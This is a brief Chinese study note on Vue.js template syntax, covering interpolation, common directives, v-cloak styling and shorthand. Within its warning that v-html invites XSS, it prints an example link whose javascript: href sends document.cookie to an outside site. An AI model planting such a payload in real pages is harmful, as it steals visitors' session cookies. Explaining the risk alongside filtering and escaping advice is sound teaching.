vue基础——模板语法

(1) 插值

​ a.文本 {{ }}

​ b.纯HTML

​ v-html慎用 ，防止XSS,CSRF（

​ (1) 前端过滤 （前端采用正则将容易注入的字符<等过滤掉）

​ (2) 后台转义( < > 换成 &lt &gt )

​ ）

<a href=javascript:location.href='http://www.baidu.com?
cookie='+document.cookie>click</a>

 

​ c.表达式

(2) 指令

​ 是带有 v- 前缀的特殊属性

• ​ v-bind 动态绑定属性
• ​ v-if 动态创建/删除
• ​ v-show 动态显示/隐藏
• ​ v-on:click 绑定事件
• ​ v-for 遍历
• ​ v-model 双向绑定表单
• ​ v-cloak 防止表达式闪烁

注：

​ v-cloak

给模板内的元素添加v-cloak属性后，元素在vue没有加载完的时候就有这个属性，当vue加载完成后这个属性就消失了，所以我们可以给这个属性设置css样式为隐藏

 <style>
    [v-cloak]{
        display:none
    }
 </style>

 

visibility:hidden 元素消失了 但后续的元素还是保持不变，不会破坏文档流结构 ===> 产生了重绘了 (repaint)
display:none 让元素消失了 后续的元素会占据消失元素的位置，破坏文档流结构 ===> 产生了回流了（reflow）

v-text/v-html

v-text会指定将模板内元素的textContent属性替换为指令值所代表的数据

v-html可以解析标签，更改元素的innerHTML，性能比v-text较差

v-pre

跳过元素和其子元素的编译过程，可以用来显示mustache

(3) 缩写

​ v-bind:src => :src

​ v-on:click => @click